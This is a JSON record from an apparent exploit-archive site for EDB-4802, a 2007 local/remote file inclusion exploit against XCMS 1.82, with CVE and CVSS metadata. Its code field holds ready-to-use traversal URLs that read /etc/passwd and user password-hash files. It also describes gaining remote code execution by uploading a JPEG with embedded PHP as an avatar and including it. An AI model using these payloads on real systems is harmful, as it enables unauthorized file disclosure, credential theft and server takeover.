{"exploit":{"id":"EDB-4802","name":"XCMS 1.82 - Local/Remote File Inclusion (RFI)","description":"XCMS 1.82 - Local/Remote File Inclusion (RFI)","cves":["CVE-2007-6604"],"author":"nexen","published":"2007-12-28","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4802","path":"exploits/php/webapps/4802.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4802.txt","vulnerabilities":[{"id":"CVE-2007-6604","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in index.php in XCMS 1.82 and earlier allow remote attackers to read arbitrary files via a .. (dot dot) in (1) the s parameter to the admin page or (2) the pg parameter to an arbitrary module, as demonstrated by reading a password hash in a .dtb file under dati/membri/ or by executing embedded PHP code in images under uploads/avatar/.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-6604","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-6604"},"updatedAt":"2024-08-07T16:11:06.034Z","retrievedAt":"2026-11-26T15:06:47.248Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4802.png?v=2","url":"https://exploitbin.com/exploits/EDB-4802","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4802/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4802/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#  _ __   _____  _____ _ __\n# | '_ \\ / _ \\ \\/ / _ \\ '_ \\\n# | | | |  __/>  <  __/ | | |\n# |_| |_|\\___/_/\\_\\___|_| |_|\n# XCMS <= 1.82 LFI & RCE Xpl\n# Nexen rocked this one ;)\n# LFIs\nhttp://127.0.0.1/xcms/index.php?pg=admin&s=../../../../../etc/passwd\\0\nhttp://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../../../../etc/passwd\\0\n\n# Hash disclosure\nhttp://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../dati/membri/[username].dtb\\0\n\n# RCE:\nDoing RCE is more difficult, you must have an image with a php code binded (you can use edjpgcom to do that)\nnow upload that image on your panel, and exploit rce trough lfi:\n\nhttp://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../uploads/avatar/[your_username].jpg\\0\n\n# milw0rm.com [2007-12-28]","sha256":"2a81f57ae2d456d1041da8f65d63762d7f09383ab6e1c383d2a79b05f5e44145","bytes":757,"fetchedAt":"2026-11-26T15:06:43.432Z","encoding":"utf-8 (display only; download retains original bytes)"}